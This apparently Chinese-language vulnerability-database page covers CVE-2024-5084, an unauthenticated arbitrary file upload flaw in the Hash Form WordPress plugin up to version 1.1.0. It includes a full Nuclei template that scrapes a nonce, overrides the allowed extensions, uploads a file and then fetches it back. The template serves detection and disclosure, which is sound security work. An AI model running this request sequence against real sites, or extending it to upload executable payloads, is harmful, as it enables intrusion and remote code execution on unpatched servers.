CVE-2024-5084: Hash Form <= 1.1.0 - Arbitrary File Upload

日期: 2025-08-01 | 影响软件: Hash Form | POC: 已公开

漏洞描述

The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

PoC代码[已公开]

id: CVE-2024-5084

info:
  name: Hash Form <= 1.1.0 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  remediation: Fixed in 1.1.1
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5084
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution
    - https://github.com/WOOOOONG/CVE-2024-5084/blob/main/CVE-2024-5084_exploit.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5084
    epss-score: 0.92049
    epss-percentile: 0.99696
  metadata:
    verified: true
    max-request: 1
    vendor: HashThemes
    product: Hash Form
    framework: wordpress
    publicwww-query: "/wp-content/plugins/hash-form/"
  tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive

variables:
  filename: "{{rand_base(5)}}"
  num: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        GET / HTTP /1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{md5(num)}}

      - |
        GET /wp-content/uploads/hashform/temp/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2,"success","true","url") && status_code_2 == 200'
          - 'contains(body_3,"{{md5(num)}}") && status_code_3 == 200'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"ajax_nounce":"([0-9a-z]+)","preview_img'
        internal: true
# digest: 4a0a00473045022067a8c370501a5ad41d70e35cdba527269d8f95b1d4994dcc43fb420910111c7a022100bb9412618c656469c0c24922c83219d33acac771b2d20b6caf00922388612f6a:922c64590222798bb761d5b6d8e72950